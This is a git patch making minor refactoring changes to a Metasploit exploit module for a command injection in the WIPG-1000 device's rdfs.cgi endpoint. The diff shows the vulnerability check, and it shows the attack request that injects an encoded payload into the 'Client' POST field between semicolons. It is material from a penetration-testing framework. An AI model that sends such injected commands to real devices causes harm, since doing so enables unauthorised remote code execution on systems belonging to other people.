From d3aba846b9e0cb4ab3864c2ad75bcf4620f9eb11 Mon Sep 17 00:00:00 2001 From: Matthias Brun Date: Mon, 24 Apr 2017 23:35:36 +0200 Subject: [PATCH] Make minor changes --- .../exploits/linux/http/wipg1000_cmd_injection.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/wipg1000_cmd_injection.rb b/modules/exploits/linux/http/wipg1000_cmd_injection.rb index 1eb1a53ba8..aae9b1128d 100644 --- a/modules/exploits/linux/http/wipg1000_cmd_injection.rb +++ b/modules/exploits/linux/http/wipg1000_cmd_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,12 +48,12 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri('/cgi-bin/rdfs.cgi') + 'uri' => '/cgi-bin/rdfs.cgi' }) - if res and res.body =~ /Follow administrator instructions to enter the complete path/ then - return Exploit::CheckCode::Appears + if res && res.body.include?("Follow administrator instructions to enter the complete path") + Exploit::CheckCode::Appears else - return Exploit::CheckCode::Safe + Exploit::CheckCode::Safe end end @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Sending request') send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri('/cgi-bin/rdfs.cgi'), + 'uri' => '/cgi-bin/rdfs.cgi', 'vars_post' => { 'Client' => ";#{payload.encoded};", 'Download' => 'Download'